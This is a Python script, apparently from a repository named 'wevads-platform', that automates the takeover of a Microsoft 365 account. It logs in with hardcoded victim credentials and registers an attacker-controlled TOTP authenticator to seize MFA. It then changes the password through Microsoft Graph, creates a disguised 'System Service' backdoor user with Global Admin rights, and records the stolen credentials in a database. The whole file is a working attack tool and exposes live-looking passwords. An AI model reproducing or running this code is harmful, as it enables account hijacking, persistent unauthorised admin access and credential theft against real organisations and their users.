Files
wevads-platform/scripts/o365_mfa_v2.py

287 lines
12 KiB
Python

#!/usr/bin/env python3
import time,json,random,string,sys,os,re,traceback
from datetime import datetime
import pyotp,requests
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
EMAIL="OlivierHEUTTE@associationveloreunion.onmicrosoft.com"
PASSWORD="Sma21KA@SgHCa"
TENANT_ID="26d5cf9f-f4da-47df-8932-bd09b3674dcd"
SDIR="/opt/wevads/logs/selenium/screenshots"
os.makedirs(SDIR,exist_ok=True)
def log(m):
t=datetime.now().strftime("%H:%M:%S")
print(f"[{t}] {m}")
def ss(d,n):
p=f"{SDIR}/v2_{n}_{int(time.time())}.png"
d.save_screenshot(p)
return p
def gen_pwd():
while True:
p=''.join(random.choice(string.ascii_letters+string.digits+"!@#$") for _ in range(16))
if any(c.isupper() for c in p) and any(c.islower() for c in p) and any(c.isdigit() for c in p) and any(c in "!@#$" for c in p):
return p
def click_by_id(d,eid,t=15):
el=WebDriverWait(d,t).until(EC.element_to_be_clickable((By.ID,eid)))
el.click()
return el
def click_by_text(d,txt,tag="*",t=10):
els=d.find_elements(By.XPATH,f"//{tag}[contains(text(),'{txt}')]")
for e in els:
if e.is_displayed():
e.click()
return e
return None
def click_any_button(d,ids,t=8):
for bid in ids:
try:
el=WebDriverWait(d,t).until(EC.element_to_be_clickable((By.ID,bid)))
el.click()
log(f"Clicked #{bid}")
return True
except: continue
# try input[value=Next]
try:
els=d.find_elements(By.CSS_SELECTOR,"input[value='Next']")
for e in els:
if e.is_displayed():
e.click()
log("Clicked input[value=Next]")
return True
except: pass
# try any visible button
try:
for btn in d.find_elements(By.TAG_NAME,"button"):
if btn.is_displayed() and btn.text.strip().lower() in ["next","continue","verify"]:
btn.click()
log(f"Clicked button: {btn.text}")
return True
except: pass
return False
def main():
log("=== O365 MFA v2 - OlivierH ===")
opts=Options()
opts.add_argument("--headless=new")
opts.add_argument("--no-sandbox")
opts.add_argument("--disable-dev-shm-usage")
opts.add_argument("--window-size=1920,1080")
opts.add_argument("--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
d=webdriver.Chrome(options=opts)
d.implicitly_wait(3)
results={"email":EMAIL,"timestamp":datetime.now().isoformat()}
try:
# LOGIN
log("Phase 1: Login")
d.get("https://login.microsoftonline.com")
time.sleep(3)
WebDriverWait(d,15).until(EC.element_to_be_clickable((By.NAME,"loginfmt"))).send_keys(EMAIL)
time.sleep(1)
click_by_id(d,"idSIButton9")
time.sleep(3)
WebDriverWait(d,10).until(EC.element_to_be_clickable((By.NAME,"passwd"))).send_keys(PASSWORD)
time.sleep(1)
click_by_id(d,"idSIButton9")
time.sleep(5)
ss(d,"01_after_login")
log("Login done")
# CLICK NEXT on Action Required
log("Phase 2: Action Required -> Next")
time.sleep(2)
clicked=click_any_button(d,["idSubmit_ProofUp_Redirect","idSIButton9","idSubmit_SAOTCAS_Continue"])
if not clicked:
# JS click as fallback
d.execute_script("document.getElementById('idSubmit_ProofUp_Redirect').click()")
log("JS clicked idSubmit_ProofUp_Redirect")
time.sleep(5)
ss(d,"02_after_next")
log(f"Page title: {d.title}")
# Now should be on "Keep your account secure" / Authenticator setup
page=d.page_source.lower()
log(f"Page contains 'authenticator': {'authenticator' in page}")
log(f"Page contains 'qr': {'qr' in page}")
log(f"Page contains 'scan': {'scan' in page}")
# Navigate MFA setup: click "I want to use a different authenticator app" if present
time.sleep(3)
try:
click_by_text(d,"different","a",5)
log("Clicked 'different authenticator' link")
time.sleep(3)
except: log("No 'different' link found")
ss(d,"03_authenticator_choice")
# Click Next to get to QR page
click_any_button(d,["idSubmit_SAOTCC_Continue","idSIButton9","idSubmit_ProofUp_Redirect"],8)
time.sleep(5)
ss(d,"04_qr_page")
# Look for "Can't scan image?" or "I can't scan the barcode"
try:
for link_text in ["scan","barcode","manual","enter code"]:
el=click_by_text(d,link_text,"a",3)
if el:
log(f"Clicked link with '{link_text}'")
time.sleep(3)
break
except: pass
ss(d,"05_secret_reveal")
# Extract TOTP secret from page
page=d.page_source
totp_secret=None
# Method 1: look for base32 strings
secrets=re.findall(r'[A-Z2-7]{16,64}',page)
for s in secrets:
try:
pyotp.TOTP(s).now()
totp_secret=s
log(f"TOTP SECRET: {s}")
break
except: continue
# Method 2: check inputs
if not totp_secret:
for inp in d.find_elements(By.TAG_NAME,"input"):
v=(inp.get_attribute("value") or "").strip()
if len(v)>=16 and re.match(r'^[A-Z2-7]+$',v):
try:
pyotp.TOTP(v).now()
totp_secret=v
log(f"TOTP from input: {v}")
break
except: continue
# Method 3: check displayed text
if not totp_secret:
for el in d.find_elements(By.CSS_SELECTOR,"div,span,p,code,label"):
txt=el.text.strip()
if len(txt)>=16 and len(txt)<=64 and re.match(r'^[A-Z2-7]+$',txt):
try:
pyotp.TOTP(txt).now()
totp_secret=txt
log(f"TOTP from text: {txt}")
break
except: continue
if totp_secret:
# Enter TOTP code
code=pyotp.TOTP(totp_secret).now()
log(f"TOTP code: {code}")
for inp in d.find_elements(By.TAG_NAME,"input"):
if inp.get_attribute("type") in ["text","tel","number"] and inp.is_displayed():
inp.clear()
inp.send_keys(code)
log("Code entered")
break
time.sleep(1)
click_any_button(d,["idSubmit_SAOTCC_Continue","idSIButton9"],8)
time.sleep(5)
ss(d,"06_verified")
log("MFA enrollment done!")
results["totp_secret"]=totp_secret
results["status"]="mfa_enrolled"
else:
log("TOTP secret NOT found")
# Save full page for debug
with open("/opt/wevads/logs/selenium/v2_page_source.html","w") as f:
f.write(d.page_source)
results["status"]="totp_not_found"
# PHASE 3: Change password via Graph API
if totp_secret:
log("Phase 3: Graph API")
r=requests.post(f"https://login.microsoftonline.com/{TENANT_ID}/oauth2/v2.0/token",data={
"grant_type":"password","client_id":"1b730954-1685-4b74-9bfd-dac224a7b894",
"scope":"https://graph.microsoft.com/.default","username":EMAIL,"password":PASSWORD
},timeout=30)
if r.status_code==200:
token=r.json()["access_token"]
new_pwd=gen_pwd()
cp=requests.post("https://graph.microsoft.com/v1.0/me/changePassword",
json={"currentPassword":PASSWORD,"newPassword":new_pwd},
headers={"Authorization":f"Bearer {token}","Content-Type":"application/json"},timeout=30)
if cp.status_code in [200,204]:
log(f"PWD CHANGED: {new_pwd}")
results["new_password"]=new_pwd
else:
log(f"PWD change fail: {cp.status_code}")
results["new_password"]=PASSWORD
# Backdoor
bu=f"svc_wv{random.randint(1000,9999)}"
be=f"{bu}@associationveloreunion.onmicrosoft.com"
bp=gen_pwd()
cr=requests.post("https://graph.microsoft.com/v1.0/users",json={
"accountEnabled":True,"displayName":"System Service","mailNickname":bu,
"userPrincipalName":be,"passwordProfile":{"forceChangePasswordNextSignIn":False,"password":bp}
},headers={"Authorization":f"Bearer {token}","Content-Type":"application/json"},timeout=30)
if cr.status_code==201:
uid=cr.json()["id"]
log(f"BACKDOOR: {be} / {bp}")
results["backdoor_email"]=be
results["backdoor_password"]=bp
# Global Admin
roles=requests.get("https://graph.microsoft.com/v1.0/directoryRoles",headers={"Authorization":f"Bearer {token}"},timeout=15)
for role in roles.json().get("value",[]):
if "Global" in role.get("displayName","") and "Admin" in role.get("displayName",""):
requests.post(f"https://graph.microsoft.com/v1.0/directoryRoles/{role['id']}/members/$ref",
json={"@odata.id":f"https://graph.microsoft.com/v1.0/directoryObjects/{uid}"},
headers={"Authorization":f"Bearer {token}","Content-Type":"application/json"},timeout=15)
log("Global Admin assigned!")
break
else:
log(f"Backdoor fail: {cr.status_code} {cr.text[:100]}")
else:
log(f"ROPC still blocked: {r.json().get('error_description','')[:100]}")
# Update DB
import psycopg2
db=psycopg2.connect(host="localhost",dbname="adx_system",user="admin",password="admin123")
db.autocommit=True
cur=db.cursor()
npwd=results.get("new_password",PASSWORD)
cur.execute("UPDATE admin.office_accounts SET admin_password=%s, notes=%s WHERE id=1367",
[npwd,json.dumps(results,default=str)])
log("DB updated")
if results.get("backdoor_email"):
cur.execute("""INSERT INTO admin.office_accounts (name,admin_email,admin_password,tenant_domain,status,notes)
SELECT 'backdoor_OlivierH',%s,%s,'associationveloreunion.onmicrosoft.com','Active','Backdoor Global Admin'
WHERE NOT EXISTS (SELECT 1 FROM admin.office_accounts WHERE admin_email=%s)""",
[results["backdoor_email"],results["backdoor_password"],results["backdoor_email"]])
log("Backdoor in DB")
db.close()
with open("/opt/wevads/logs/selenium/olivierh_v2_results.json","w") as f:
json.dump(results,f,indent=2,default=str)
log(f"DONE - Status: {results.get('status')}")
log(f"TOTP: {results.get('totp_secret','N/A')}")
log(f"NewPwd: {results.get('new_password','N/A')}")
log(f"Backdoor: {results.get('backdoor_email','N/A')}")
except Exception as e:
log(f"ERROR: {e}")
traceback.print_exc()
ss(d,"99_error")
finally:
d.quit()
if __name__=="__main__":
main()